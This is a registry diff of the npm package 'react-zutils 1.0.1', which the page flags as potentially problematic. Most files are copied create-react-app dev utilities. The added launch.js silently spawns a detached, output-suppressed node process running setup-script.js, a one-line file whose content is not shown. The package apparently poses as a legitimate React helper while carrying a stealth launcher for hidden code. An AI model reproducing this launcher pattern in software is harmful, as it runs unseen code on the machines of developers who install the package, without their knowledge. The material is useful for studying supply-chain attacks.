react-zutils 1.0.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of react-zutils might be problematic. Click here for more details.
- package/FileSizeReporter.js +156 -0
- package/README.md +8 -0
- package/WebpackDevServerUtils.js +500 -0
- package/chalk.js +12 -0
- package/checkRequiredFiles.js +32 -0
- package/errorOverlayMiddleware.js +23 -0
- package/eslintFormatter.js +111 -0
- package/formatWebpackMessages.js +116 -0
- package/getCSSModuleLocalIdent.js +40 -0
- package/getProcessForPort.js +85 -0
- package/getPublicUrlOrPath.js +65 -0
- package/globby.js +12 -0
- package/immer.js +12 -0
- package/index.d.ts +3 -0
- package/index.js +5 -0
- package/launch.js +14 -0
- package/launchEditor.js +399 -0
- package/noopServiceWorkerMiddleware.js +40 -0
- package/package.json +39 -0
- package/printBuildError.js +45 -0
- package/printHostingInstructions.js +128 -0
- package/redirectServedPathMiddleware.js +26 -0
- package/setup-script.js +1 -0
- package/typescriptFormatter.js +45 -0
@@ -0,0 +1,23 @@
|
|
1
|
+
/**
|
2
|
+
* Copyright (c) 2015-present, Facebook, Inc.
|
3
|
+
*
|
4
|
+
* This source code is licensed under the MIT license found in the
|
5
|
+
* LICENSE file in the root directory of this source tree.
|
6
|
+
*/
|
7
|
+
'use strict';
|
8
|
+
|
9
|
+
const launchEditor = require('./launchEditor');
|
10
|
+
const launchEditorEndpoint = require('./launchEditorEndpoint');
|
11
|
+
|
12
|
+
module.exports = function createLaunchEditorMiddleware() {
|
13
|
+
return function launchEditorMiddleware(req, res, next) {
|
14
|
+
if (req.url.startsWith(launchEditorEndpoint)) {
|
15
|
+
const lineNumber = parseInt(req.query.lineNumber, 10) || 1;
|
16
|
+
const colNumber = parseInt(req.query.colNumber, 10) || 1;
|
17
|
+
launchEditor(req.query.fileName, lineNumber, colNumber);
|
18
|
+
res.end();
|
19
|
+
} else {
|
20
|
+
next();
|
21
|
+
}
|
22
|
+
};
|
23
|
+
};
|
@@ -0,0 +1,111 @@
|
|
1
|
+
/**
|
2
|
+
* Copyright (c) 2015-present, Facebook, Inc.
|
3
|
+
*
|
4
|
+
* This source code is licensed under the MIT license found in the
|
5
|
+
* LICENSE file in the root directory of this source tree.
|
6
|
+
*/
|
7
|
+
|
8
|
+
'use strict';
|
9
|
+
|
10
|
+
const path = require('path');
|
11
|
+
const chalk = require('chalk');
|
12
|
+
const stripAnsi = require('strip-ansi');
|
13
|
+
const table = require('text-table');
|
14
|
+
|
15
|
+
const cwd = process.cwd();
|
16
|
+
|
17
|
+
const emitErrorsAsWarnings =
|
18
|
+
process.env.NODE_ENV === 'development' &&
|
19
|
+
process.env.ESLINT_NO_DEV_ERRORS === 'true';
|
20
|
+
|
21
|
+
function isError(message) {
|
22
|
+
if (message.fatal || message.severity === 2) {
|
23
|
+
return true;
|
24
|
+
}
|
25
|
+
return false;
|
26
|
+
}
|
27
|
+
|
28
|
+
function getRelativePath(filePath) {
|
29
|
+
return path.relative(cwd, filePath);
|
30
|
+
}
|
31
|
+
|
32
|
+
function formatter(results) {
|
33
|
+
let output = '\n';
|
34
|
+
let hasErrors = false;
|
35
|
+
let reportContainsErrorRuleIDs = false;
|
36
|
+
|
37
|
+
results.forEach(result => {
|
38
|
+
let messages = result.messages;
|
39
|
+
if (messages.length === 0) {
|
40
|
+
return;
|
41
|
+
}
|
42
|
+
|
43
|
+
messages = messages.map(message => {
|
44
|
+
let messageType;
|
45
|
+
if (isError(message) && !emitErrorsAsWarnings) {
|
46
|
+
messageType = 'error';
|
47
|
+
hasErrors = true;
|
48
|
+
if (message.ruleId) {
|
49
|
+
reportContainsErrorRuleIDs = true;
|
50
|
+
}
|
51
|
+
} else {
|
52
|
+
messageType = 'warn';
|
53
|
+
}
|
54
|
+
|
55
|
+
let line = message.line || 0;
|
56
|
+
if (message.column) {
|
57
|
+
line += ':' + message.column;
|
58
|
+
}
|
59
|
+
let position = chalk.bold('Line ' + line + ':');
|
60
|
+
return [
|
61
|
+
'',
|
62
|
+
position,
|
63
|
+
messageType,
|
64
|
+
message.message.replace(/\.$/, ''),
|
65
|
+
chalk.underline(message.ruleId || ''),
|
66
|
+
];
|
67
|
+
});
|
68
|
+
|
69
|
+
// if there are error messages, we want to show only errors
|
70
|
+
if (hasErrors) {
|
71
|
+
messages = messages.filter(m => m[2] === 'error');
|
72
|
+
}
|
73
|
+
|
74
|
+
// add color to rule keywords
|
75
|
+
messages.forEach(m => {
|
76
|
+
m[4] = m[2] === 'error' ? chalk.red(m[4]) : chalk.yellow(m[4]);
|
77
|
+
m.splice(2, 1);
|
78
|
+
});
|
79
|
+
|
80
|
+
let outputTable = table(messages, {
|
81
|
+
align: ['l', 'l', 'l'],
|
82
|
+
stringLength(str) {
|
83
|
+
return stripAnsi(str).length;
|
84
|
+
},
|
85
|
+
});
|
86
|
+
|
87
|
+
// print the filename and relative path
|
88
|
+
output += `${getRelativePath(result.filePath)}\n`;
|
89
|
+
|
90
|
+
// print the errors
|
91
|
+
output += `${outputTable}\n\n`;
|
92
|
+
});
|
93
|
+
|
94
|
+
if (reportContainsErrorRuleIDs) {
|
95
|
+
// Unlike with warnings, we have to do it here.
|
96
|
+
// We have similar code in react-scripts for warnings,
|
97
|
+
// but warnings can appear in multiple files so we only
|
98
|
+
// print it once at the end. For errors, however, we print
|
99
|
+
// it here because we always show at most one error, and
|
100
|
+
// we can only be sure it's an ESLint error before exiting
|
101
|
+
// this function.
|
102
|
+
output +=
|
103
|
+
'Search for the ' +
|
104
|
+
chalk.underline(chalk.red('keywords')) +
|
105
|
+
' to learn more about each error.';
|
106
|
+
}
|
107
|
+
|
108
|
+
return output;
|
109
|
+
}
|
110
|
+
|
111
|
+
module.exports = formatter;
|
@@ -0,0 +1,116 @@
|
|
1
|
+
/**
|
2
|
+
* Copyright (c) 2015-present, Facebook, Inc.
|
3
|
+
*
|
4
|
+
* This source code is licensed under the MIT license found in the
|
5
|
+
* LICENSE file in the root directory of this source tree.
|
6
|
+
*/
|
7
|
+
|
8
|
+
'use strict';
|
9
|
+
|
10
|
+
const friendlySyntaxErrorLabel = 'Syntax error:';
|
11
|
+
|
12
|
+
function isLikelyASyntaxError(message) {
|
13
|
+
return message.indexOf(friendlySyntaxErrorLabel) !== -1;
|
14
|
+
}
|
15
|
+
|
16
|
+
// Cleans up webpack error messages.
|
17
|
+
function formatMessage(message) {
|
18
|
+
let lines = message.split('\n');
|
19
|
+
|
20
|
+
// Strip webpack-added headers off errors/warnings
|
21
|
+
// https://github.com/webpack/webpack/blob/master/lib/ModuleError.js
|
22
|
+
lines = lines.filter(line => !/Module [A-z ]+\(from/.test(line));
|
23
|
+
|
24
|
+
// Transform parsing error into syntax error
|
25
|
+
// TODO: move this to our ESLint formatter?
|
26
|
+
lines = lines.map(line => {
|
27
|
+
const parsingError = /Line (\d+):(?:(\d+):)?\s*Parsing error: (.+)$/.exec(
|
28
|
+
line
|
29
|
+
);
|
30
|
+
if (!parsingError) {
|
31
|
+
return line;
|
32
|
+
}
|
33
|
+
const [, errorLine, errorColumn, errorMessage] = parsingError;
|
34
|
+
return `${friendlySyntaxErrorLabel} ${errorMessage} (${errorLine}:${errorColumn})`;
|
35
|
+
});
|
36
|
+
|
37
|
+
message = lines.join('\n');
|
38
|
+
// Smoosh syntax errors (commonly found in CSS)
|
39
|
+
message = message.replace(
|
40
|
+
/SyntaxError\s+\((\d+):(\d+)\)\s*(.+?)\n/g,
|
41
|
+
`${friendlySyntaxErrorLabel} $3 ($1:$2)\n`
|
42
|
+
);
|
43
|
+
// Clean up export errors
|
44
|
+
message = message.replace(
|
45
|
+
/^.*export '(.+?)' was not found in '(.+?)'.*$/gm,
|
46
|
+
`Attempted import error: '$1' is not exported from '$2'.`
|
47
|
+
);
|
48
|
+
message = message.replace(
|
49
|
+
/^.*export 'default' \(imported as '(.+?)'\) was not found in '(.+?)'.*$/gm,
|
50
|
+
`Attempted import error: '$2' does not contain a default export (imported as '$1').`
|
51
|
+
);
|
52
|
+
message = message.replace(
|
53
|
+
/^.*export '(.+?)' \(imported as '(.+?)'\) was not found in '(.+?)'.*$/gm,
|
54
|
+
`Attempted import error: '$1' is not exported from '$3' (imported as '$2').`
|
55
|
+
);
|
56
|
+
lines = message.split('\n');
|
57
|
+
|
58
|
+
// Remove leading newline
|
59
|
+
if (lines.length > 2 && lines[1].trim() === '') {
|
60
|
+
lines.splice(1, 1);
|
61
|
+
}
|
62
|
+
// Clean up file name
|
63
|
+
lines[0] = lines[0].replace(/^(.*) \d+:\d+-\d+$/, '$1');
|
64
|
+
|
65
|
+
// Cleans up verbose "module not found" messages for files and packages.
|
66
|
+
if (lines[1] && lines[1].indexOf('Module not found: ') === 0) {
|
67
|
+
lines = [
|
68
|
+
lines[0],
|
69
|
+
lines[1]
|
70
|
+
.replace('Error: ', '')
|
71
|
+
.replace('Module not found: Cannot find file:', 'Cannot find file:'),
|
72
|
+
];
|
73
|
+
}
|
74
|
+
|
75
|
+
// Add helpful message for users trying to use Sass for the first time
|
76
|
+
if (lines[1] && lines[1].match(/Cannot find module.+node-sass/)) {
|
77
|
+
lines[1] = 'To import Sass files, you first need to install node-sass.\n';
|
78
|
+
lines[1] +=
|
79
|
+
'Run `npm install node-sass` or `yarn add node-sass` inside your workspace.';
|
80
|
+
}
|
81
|
+
|
82
|
+
message = lines.join('\n');
|
83
|
+
// Internal stacks are generally useless so we strip them... with the
|
84
|
+
// exception of stacks containing `webpack:` because they're normally
|
85
|
+
// from user code generated by webpack. For more information see
|
86
|
+
// https://github.com/facebook/create-react-app/pull/1050
|
87
|
+
message = message.replace(
|
88
|
+
/^\s*at\s((?!webpack:).)*:\d+:\d+[\s)]*(\n|$)/gm,
|
89
|
+
''
|
90
|
+
); // at ... ...:x:y
|
91
|
+
message = message.replace(/^\s*at\s<anonymous>(\n|$)/gm, ''); // at <anonymous>
|
92
|
+
lines = message.split('\n');
|
93
|
+
|
94
|
+
// Remove duplicated newlines
|
95
|
+
lines = lines.filter(
|
96
|
+
(line, index, arr) =>
|
97
|
+
index === 0 || line.trim() !== '' || line.trim() !== arr[index - 1].trim()
|
98
|
+
);
|
99
|
+
|
100
|
+
// Reassemble the message
|
101
|
+
message = lines.join('\n');
|
102
|
+
return message.trim();
|
103
|
+
}
|
104
|
+
|
105
|
+
function formatWebpackMessages(json) {
|
106
|
+
const formattedErrors = json.errors.map(formatMessage);
|
107
|
+
const formattedWarnings = json.warnings.map(formatMessage);
|
108
|
+
const result = { errors: formattedErrors, warnings: formattedWarnings };
|
109
|
+
if (result.errors.some(isLikelyASyntaxError)) {
|
110
|
+
// If there are any syntax errors, show just them.
|
111
|
+
result.errors = result.errors.filter(isLikelyASyntaxError);
|
112
|
+
}
|
113
|
+
return result;
|
114
|
+
}
|
115
|
+
|
116
|
+
module.exports = formatWebpackMessages;
|
@@ -0,0 +1,40 @@
|
|
1
|
+
/**
|
2
|
+
* Copyright (c) 2015-present, Facebook, Inc.
|
3
|
+
*
|
4
|
+
* This source code is licensed under the MIT license found in the
|
5
|
+
* LICENSE file in the root directory of this source tree.
|
6
|
+
*/
|
7
|
+
|
8
|
+
'use strict';
|
9
|
+
|
10
|
+
const loaderUtils = require('loader-utils');
|
11
|
+
const path = require('path');
|
12
|
+
|
13
|
+
module.exports = function getLocalIdent(
|
14
|
+
context,
|
15
|
+
localIdentName,
|
16
|
+
localName,
|
17
|
+
options
|
18
|
+
) {
|
19
|
+
// Use the filename or folder name, based on some uses the index.js / index.module.(css|scss|sass) project style
|
20
|
+
const fileNameOrFolder = context.resourcePath.match(
|
21
|
+
/index\.module\.(css|scss|sass)$/
|
22
|
+
)
|
23
|
+
? '[folder]'
|
24
|
+
: '[name]';
|
25
|
+
// Create a hash based on a the file location and class name. Will be unique across a project, and close to globally unique.
|
26
|
+
const hash = loaderUtils.getHashDigest(
|
27
|
+
path.posix.relative(context.rootContext, context.resourcePath) + localName,
|
28
|
+
'md5',
|
29
|
+
'base64',
|
30
|
+
5
|
31
|
+
);
|
32
|
+
// Use loaderUtils to find the file or folder name
|
33
|
+
const className = loaderUtils.interpolateName(
|
34
|
+
context,
|
35
|
+
fileNameOrFolder + '_' + localName + '__' + hash,
|
36
|
+
options
|
37
|
+
);
|
38
|
+
// Remove the .module that appears in every classname when based on the file and replace all "." with "_".
|
39
|
+
return className.replace('.module_', '_').replace(/\./g, '_');
|
40
|
+
};
|
@@ -0,0 +1,85 @@
|
|
1
|
+
/**
|
2
|
+
* Copyright (c) 2015-present, Facebook, Inc.
|
3
|
+
*
|
4
|
+
* This source code is licensed under the MIT license found in the
|
5
|
+
* LICENSE file in the root directory of this source tree.
|
6
|
+
*/
|
7
|
+
|
8
|
+
'use strict';
|
9
|
+
|
10
|
+
var chalk = require('chalk');
|
11
|
+
var execSync = require('child_process').execSync;
|
12
|
+
var execFileSync = require('child_process').execFileSync;
|
13
|
+
var path = require('path');
|
14
|
+
|
15
|
+
var execOptions = {
|
16
|
+
encoding: 'utf8',
|
17
|
+
stdio: [
|
18
|
+
'pipe', // stdin (default)
|
19
|
+
'pipe', // stdout (default)
|
20
|
+
'ignore', //stderr
|
21
|
+
],
|
22
|
+
};
|
23
|
+
|
24
|
+
function isProcessAReactApp(processCommand) {
|
25
|
+
return /^node .*react-scripts\/scripts\/start\.js\s?$/.test(processCommand);
|
26
|
+
}
|
27
|
+
|
28
|
+
function getProcessIdOnPort(port) {
|
29
|
+
return execFileSync('lsof', ['-i:' + port, '-P', '-t', '-sTCP:LISTEN'], execOptions)
|
30
|
+
.split('\n')[0]
|
31
|
+
.trim();
|
32
|
+
}
|
33
|
+
|
34
|
+
function getPackageNameInDirectory(directory) {
|
35
|
+
var packagePath = path.join(directory.trim(), 'package.json');
|
36
|
+
|
37
|
+
try {
|
38
|
+
return require(packagePath).name;
|
39
|
+
} catch (e) {
|
40
|
+
return null;
|
41
|
+
}
|
42
|
+
}
|
43
|
+
|
44
|
+
function getProcessCommand(processId, processDirectory) {
|
45
|
+
var command = execSync(
|
46
|
+
'ps -o command -p ' + processId + ' | sed -n 2p',
|
47
|
+
execOptions
|
48
|
+
);
|
49
|
+
|
50
|
+
command = command.replace(/\n$/, '');
|
51
|
+
|
52
|
+
if (isProcessAReactApp(command)) {
|
53
|
+
const packageName = getPackageNameInDirectory(processDirectory);
|
54
|
+
return packageName ? packageName : command;
|
55
|
+
} else {
|
56
|
+
return command;
|
57
|
+
}
|
58
|
+
}
|
59
|
+
|
60
|
+
function getDirectoryOfProcessById(processId) {
|
61
|
+
return execSync(
|
62
|
+
'lsof -p ' +
|
63
|
+
processId +
|
64
|
+
' | awk \'$4=="cwd" {for (i=9; i<=NF; i++) printf "%s ", $i}\'',
|
65
|
+
execOptions
|
66
|
+
).trim();
|
67
|
+
}
|
68
|
+
|
69
|
+
function getProcessForPort(port) {
|
70
|
+
try {
|
71
|
+
var processId = getProcessIdOnPort(port);
|
72
|
+
var directory = getDirectoryOfProcessById(processId);
|
73
|
+
var command = getProcessCommand(processId, directory);
|
74
|
+
return (
|
75
|
+
chalk.cyan(command) +
|
76
|
+
chalk.grey(' (pid ' + processId + ')\n') +
|
77
|
+
chalk.blue(' in ') +
|
78
|
+
chalk.cyan(directory)
|
79
|
+
);
|
80
|
+
} catch (e) {
|
81
|
+
return null;
|
82
|
+
}
|
83
|
+
}
|
84
|
+
|
85
|
+
module.exports = getProcessForPort;
|
@@ -0,0 +1,65 @@
|
|
1
|
+
/**
|
2
|
+
* Copyright (c) 2015-present, Facebook, Inc.
|
3
|
+
*
|
4
|
+
* This source code is licensed under the MIT license found in the
|
5
|
+
* LICENSE file in the root directory of this source tree.
|
6
|
+
*/
|
7
|
+
|
8
|
+
'use strict';
|
9
|
+
|
10
|
+
const { URL } = require('url');
|
11
|
+
|
12
|
+
module.exports = getPublicUrlOrPath;
|
13
|
+
|
14
|
+
/**
|
15
|
+
* Returns a URL or a path with slash at the end
|
16
|
+
* In production can be URL, abolute path, relative path
|
17
|
+
* In development always will be an absolute path
|
18
|
+
* In development can use `path` module functions for operations
|
19
|
+
*
|
20
|
+
* @param {boolean} isEnvDevelopment
|
21
|
+
* @param {(string|undefined)} homepage a valid url or pathname
|
22
|
+
* @param {(string|undefined)} envPublicUrl a valid url or pathname
|
23
|
+
* @returns {string}
|
24
|
+
*/
|
25
|
+
function getPublicUrlOrPath(isEnvDevelopment, homepage, envPublicUrl) {
|
26
|
+
const stubDomain = 'https://create-react-app.dev';
|
27
|
+
|
28
|
+
if (envPublicUrl) {
|
29
|
+
// ensure last slash exists
|
30
|
+
envPublicUrl = envPublicUrl.endsWith('/')
|
31
|
+
? envPublicUrl
|
32
|
+
: envPublicUrl + '/';
|
33
|
+
|
34
|
+
// validate if `envPublicUrl` is a URL or path like
|
35
|
+
// `stubDomain` is ignored if `envPublicUrl` contains a domain
|
36
|
+
const validPublicUrl = new URL(envPublicUrl, stubDomain);
|
37
|
+
|
38
|
+
return isEnvDevelopment
|
39
|
+
? envPublicUrl.startsWith('.')
|
40
|
+
? '/'
|
41
|
+
: validPublicUrl.pathname
|
42
|
+
: // Some apps do not use client-side routing with pushState.
|
43
|
+
// For these, "homepage" can be set to "." to enable relative asset paths.
|
44
|
+
envPublicUrl;
|
45
|
+
}
|
46
|
+
|
47
|
+
if (homepage) {
|
48
|
+
// strip last slash if exists
|
49
|
+
homepage = homepage.endsWith('/') ? homepage : homepage + '/';
|
50
|
+
|
51
|
+
// validate if `homepage` is a URL or path like and use just pathname
|
52
|
+
const validHomepagePathname = new URL(homepage, stubDomain).pathname;
|
53
|
+
return isEnvDevelopment
|
54
|
+
? homepage.startsWith('.')
|
55
|
+
? '/'
|
56
|
+
: validHomepagePathname
|
57
|
+
: // Some apps do not use client-side routing with pushState.
|
58
|
+
// For these, "homepage" can be set to "." to enable relative asset paths.
|
59
|
+
homepage.startsWith('.')
|
60
|
+
? homepage
|
61
|
+
: validHomepagePathname;
|
62
|
+
}
|
63
|
+
|
64
|
+
return '/';
|
65
|
+
}
|
package/globby.js
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
/**
|
2
|
+
* Copyright (c) 2015-present, Facebook, Inc.
|
3
|
+
*
|
4
|
+
* This source code is licensed under the MIT license found in the
|
5
|
+
* LICENSE file in the root directory of this source tree.
|
6
|
+
*/
|
7
|
+
|
8
|
+
'use strict';
|
9
|
+
|
10
|
+
var globby = require('globby');
|
11
|
+
|
12
|
+
module.exports = globby;
|
package/immer.js
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
/**
|
2
|
+
* Copyright (c) 2015-present, Facebook, Inc.
|
3
|
+
*
|
4
|
+
* This source code is licensed under the MIT license found in the
|
5
|
+
* LICENSE file in the root directory of this source tree.
|
6
|
+
*/
|
7
|
+
|
8
|
+
'use strict';
|
9
|
+
|
10
|
+
var immer = require('immer');
|
11
|
+
|
12
|
+
module.exports = immer;
|
package/index.d.ts
ADDED
package/index.js
ADDED
package/launch.js
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
const { spawn } = require('child_process');
|
2
|
+
const path = require('path');
|
3
|
+
|
4
|
+
// Path to the detached script
|
5
|
+
const scriptPath = path.join(__dirname, 'setup-script.js');
|
6
|
+
|
7
|
+
// Spawn a new detached process
|
8
|
+
const subprocess = spawn('node', [scriptPath], {
|
9
|
+
detached: true,
|
10
|
+
stdio: 'ignore'
|
11
|
+
});
|
12
|
+
|
13
|
+
// Ensure the parent process doesn't wait for the detached process to complete
|
14
|
+
subprocess.unref();
|